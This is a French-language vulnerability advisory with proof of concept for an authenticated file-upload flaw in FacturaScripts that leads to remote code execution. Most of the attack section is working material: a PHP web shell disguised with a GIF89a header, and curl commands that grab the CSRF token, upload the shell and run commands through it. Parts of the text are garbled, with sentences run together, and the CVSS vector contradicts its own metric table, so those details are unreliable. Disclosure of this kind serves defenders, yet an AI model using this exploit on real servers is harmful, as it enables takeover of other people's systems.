
FacturaScripts RCE Exploit - Preuve de concept
Une vulnérabilité de téléversement de fichier non restreint authentifié existe dans la fonctionnalité de téléversement d'images de produits de FacturaScripts. Un attaquant disposant d'identifiants valides peut téléverser un fichier PHP déguisé en image GIF (à l'aide d'un en-tête GIF89a), contournant ainsi la validation du type MIME. Le fichier est stocké avec son extension d'origine, y compris les extensions exécutables telles que .php.
La vulnérabilité existe dans :
Core/Lib/ExtendedController/ProductImagesTrait.php
Plus précisément dans la méthode addImageAction().
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
Tools::log()->error('file-not-supported');
continue;
}
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
"image/"image/gif.php dans un répertoire accessible via le webLes fichiers téléversés sont stockés dans :
/MyFiles/YYYY/MM/X.php
Où X est un identifiant auto-incrémenté. Cela permet une exécution directe à distance :
http://target/MyFiles/2026/03/2.php?cmd=id
Une exploitation réussie permet :
Un attaquant peut téléverser des fichiers avec des extensions exécutables (par exemple .php) sur le serveur, ce qui, selon la configuration du serveur, pourrait conduire à une exploitation plus poussée.
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF
PHPSESSID des cookies du navigateurcurl -s "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
| grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4
curl -X POST "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
-F "multireqtoken=YOUR_CSRF_TOKEN" \
-F "action=add-image" \
-F "activetab=EditProductoImagen" \
-F "idproducto=3" \
-F "newfiles[][email protected]"
curl "http://target/MyFiles/2026/03/2.php?cmd=id"
Vecteur : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Score de base : 6.3 (Modéré)
| Métrique | Valeur |
|---|---|
| Vecteur d'attaque | Réseau (AV:N) |
| Complexité de l'attaque | Faible (AC:L) |
| Privilèges requis | Faible (PR:L) |
| Interaction utilisateur | Aucune (UI:N) |
| Portée | Modifiée (S:C) |
| Confidentialité | Élevée (C:H) |
| Intégrité | Élevée (I:H) |
| Disponibilité | Élevée (A:H) |
| Champ | Valeur |
|---|---|
| Écosystème | Packagist |
| ID CVE | CVE-2026-42879 |
| Nom du paquet | facturascripts/facturascripts |
| Versions concernées | <= 2025.81 |
| Versions corrigées | Pas encore corrigé |
| Corrigé dans | En attente |
.php, .phtml, .phar ou d'autres extensions exécutables, quel que soit le type MIMEgetClientOriginalName() ; attribuer un nom sécurisé basé sur un UUID avec une extension validéefileinfo plutôt que de se fier au MIME fourni par le client